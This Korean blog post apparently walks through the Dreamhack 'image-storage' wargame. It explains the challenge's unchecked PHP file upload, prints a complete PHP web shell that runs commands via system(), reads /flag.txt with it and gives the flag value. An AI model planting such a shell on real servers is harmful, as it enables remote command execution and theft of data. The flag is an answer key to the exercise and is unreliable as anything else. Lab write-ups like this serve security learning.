보안 스터디/웹 해킹

[드림핵/워게임] image-storage (웹 해킹)

성밍쟁 2024. 1. 15. 17:47
728x90
반응형

 

 

문제

 

https://dreamhack.io/wargame/challenges/38

 

image-storage

php로 작성된 파일 저장 서비스입니다. 파일 업로드 취약점을 이용해 플래그를 획득하세요. 플래그는 /flag.txt에 있습니다. Reference Server-side Basic

dreamhack.io

 

문제코드

<!-- index.php -->
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/>
    <div class="container">
    	<h2>Upload and Share Image !</h2>
    </div> 
</body>
</html>
<!-- list.php -->
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container"><ul>
    <?php
        $directory = './uploads/';
        $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
        foreach ($scanned_directory as $key => $value) {
            echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
        }
    ?> 
    </ul></div> 
</body>
</html>
<!-- upload.php -->
<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
      <form enctype='multipart/form-data' method="POST">
        <div class="form-group">
          <label for="InputFile">파일 업로드</label>
          <input type="file" id="InputFile" name="file">
        </div>
        <input type="submit" class="btn btn-default" value="Upload">
      </form>
    </div> 
</body>
</html>

 

 

 

코드 해석

엄... php 언어를 처음보긴 하는데, 대략적으로 html 언어랑 비슷한 거 같다.

아닌가?

아무튼 다 html 언어고 가장 중요한 부분은

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>

이 부분인 것 같다.

서버로부터 POST 요청을 받게 될 시에 기능을 확인해보면

      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }

이 부분에서 에러 발생시 에러를 출력하는 거고, 

파일이 존재할 시 이미 존재한다고 출력

나머지는 move_uploaded_file 로 임시 이름을 디렉터리 내부에다가 저장하는 것 같다. 그 이름들은

    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];

이 부분이고.

그러면 뭐... 넘어가자

 

 

풀이전략

이건 php 파일을 올려서 그걸로 취약점을 공략해야한다. 업로드할 파일에 대해 어떠한 검사도 하지 않기때문이다. 하지만 내가 php 파일을 짤 수 있는가? 아니다. 그래서 드림핵 그냥 풀이과정만 보았다.

 

//(출처: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 ) 
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?></pre></body></html>

이 파일을 바탕화면에 만들어서 파일을 업로드 한다.

대충 명령어를 입력하는 칸이 나오고, 그게 명령어이면 실제 수행하는 코드이다.

hi.php 라는 파일을 생성하고, 그것을 이제 업로드하면

이러한 창이 뜨는데

list 로 가면 hi.php 가 있다. 저기를 들어가면

뭔가 입력하는 칸이 뜬다. 저기다가 ls / 를 입력해보면

루트 위치에 flag.txt 가 존재하는 것을 확인할 수 있다.

그럼 이제 cat /flag.txt 를 하면 플래그가 보일 것이다.

 

 

실행

cat /flag.txt 입력시

바로 플래그가 나왔다.

 

플래그는

DH{c29f44ea17b29d8b76001f32e8997bab}

이다.

 

 

 

에필로그

아 php 까지 공부해야할까? blind SQL Injection 때도 그렇고 파일을 직접 작성하지 않는 이상 풀지 못하는 게 몇 개 있어서;;;좀 빡세다. 그리고 이부분은 내가 HTML 코드도 알기만 하지 직접 짤 줄은 모른다..흑흑

728x90
반응형